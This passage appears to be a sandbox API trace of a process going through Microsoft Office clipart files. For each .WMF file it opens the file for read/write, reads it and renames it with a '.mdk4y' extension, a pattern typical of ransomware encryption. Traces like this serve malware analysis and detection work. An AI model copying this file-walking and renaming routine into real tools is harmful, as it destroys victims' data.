[0133.606] AreFileApisANSI () returned 1 [0133.606] GetACP () returned 0x4e4 [0133.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01145_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01145_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0133.607] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0133.607] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820883700000) returned 1 [0133.607] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xadc, lpOverlapped=0x0) returned 1 [0133.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820889100000) returned 1 [0133.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820889100000) returned 1 [0133.661] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.mdk4y")) returned 1 [0133.662] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0133.662] AreFileApisANSI () returned 1 [0133.662] GetACP () returned 0x4e4 [0133.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01146_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01146_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0133.662] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0133.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820889200000) returned 1 [0133.662] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xaec, lpOverlapped=0x0) returned 1 [0133.716] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820894600000) returned 1 [0133.716] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820894600000) returned 1 [0133.717] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.mdk4y")) returned 1 [0133.717] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0133.717] AreFileApisANSI () returned 1 [0133.717] GetACP () returned 0x4e4 [0133.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01151_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01151_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0133.718] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0133.718] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820894800000) returned 1 [0133.718] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb90, lpOverlapped=0x0) returned 1 [0133.970] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820920000000) returned 1 [0133.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820920100000) returned 1 [0133.971] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.mdk4y")) returned 1 [0133.972] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0133.972] AreFileApisANSI () returned 1 [0133.972] GetACP () returned 0x4e4 [0133.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01152_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01152_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0133.972] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0133.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820920200000) returned 1 [0133.972] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb90, lpOverlapped=0x0) returned 1 [0134.042] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820927200000) returned 1 [0134.042] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820927200000) returned 1 [0134.042] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.mdk4y")) returned 1 [0134.043] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0134.043] AreFileApisANSI () returned 1 [0134.043] GetACP () returned 0x4e4 [0134.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01157_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01157_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0134.043] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0134.044] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820927400000) returned 1 [0134.044] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe04, lpOverlapped=0x0) returned 1 [0134.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820927500000) returned 1 [0134.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820927500000) returned 1 [0134.045] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.mdk4y")) returned 1 [0134.046] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0134.046] AreFileApisANSI () returned 1 [0134.046] GetACP () returned 0x4e4 [0134.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01160_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01160_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0134.046] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0134.046] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820927600000) returned 1 [0134.046] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8b4, lpOverlapped=0x0) returned 1 [0134.062] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820929200000) returned 1 [0134.062] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820929200000) returned 1 [0134.062] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.mdk4y")) returned 1 [0134.062] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0134.062] AreFileApisANSI () returned 1 [0134.062] GetACP () returned 0x4e4 [0134.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01162_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01162_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0134.063] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0134.063] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820929300000) returned 1 [0134.063] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8fc, lpOverlapped=0x0) returned 1 [0134.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820929800000) returned 1 [0134.069] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820929900000) returned 1 [0134.069] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.mdk4y")) returned 1 [0134.069] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0134.069] AreFileApisANSI () returned 1 [0134.069] GetACP () returned 0x4e4 [0134.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01163_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01163_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0134.069] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0134.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820930000000) returned 1 [0134.070] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8fc, lpOverlapped=0x0) returned 1 [0134.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820933500000) returned 1 [0134.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820933500000) returned 1 [0134.105] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.mdk4y")) returned 1 [0134.106] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0134.106] AreFileApisANSI () returned 1 [0134.106] GetACP () returned 0x4e4 [0134.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01166_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01166_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0134.106] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0134.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820933700000) returned 1 [0134.107] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x820, lpOverlapped=0x0) returned 1 [0134.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820937100000) returned 1 [0134.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820937100000) returned 1 [0134.142] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.mdk4y")) returned 1 [0134.142] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0134.142] AreFileApisANSI () returned 1 [0134.142] GetACP () returned 0x4e4 [0134.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01167_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01167_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0134.142] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0134.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820937300000) returned 1 [0134.143] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x820, lpOverlapped=0x0) returned 1 [0134.224] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820945400000) returned 1 [0134.224] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820945400000) returned 1 [0134.224] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.mdk4y")) returned 1 [0134.225] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0134.225] AreFileApisANSI () returned 1 [0134.225] GetACP () returned 0x4e4 [0134.225] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01168_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01168_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0134.225] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0134.225] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820945500000) returned 1 [0134.225] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7d4, lpOverlapped=0x0) returned 1 [0134.293] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820952300000) returned 1 [0134.294] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820952400000) returned 1 [0134.294] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.mdk4y")) returned 1 [0134.295] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0134.295] AreFileApisANSI () returned 1 [0134.295] GetACP () returned 0x4e4 [0134.295] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01169_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01169_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0134.295] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0134.295] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820952500000) returned 1 [0134.296] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7e4, lpOverlapped=0x0) returned 1 [0134.456] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820968600000) returned 1 [0134.456] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820968600000) returned 1 [0134.457] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.mdk4y")) returned 1 [0134.458] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0134.458] AreFileApisANSI () returned 1 [0134.458] GetACP () returned 0x4e4 [0134.458] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01170_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01170_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0134.458] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0134.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820968800000) returned 1 [0134.458] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x964, lpOverlapped=0x0) returned 1 [0134.585] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820981500000) returned 1 [0134.585] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820981500000) returned 1 [0134.585] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.mdk4y")) returned 1 [0134.586] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0134.586] AreFileApisANSI () returned 1 [0134.586] GetACP () returned 0x4e4 [0134.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01171_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01171_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0134.586] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0134.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820981600000) returned 1 [0134.587] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x804, lpOverlapped=0x0) returned 1 [0134.658] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820988800000) returned 1 [0134.658] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820988800000) returned 1 [0134.659] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.mdk4y")) returned 1 [0134.659] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0134.659] AreFileApisANSI () returned 1 [0134.659] GetACP () returned 0x4e4 [0134.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01172_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: 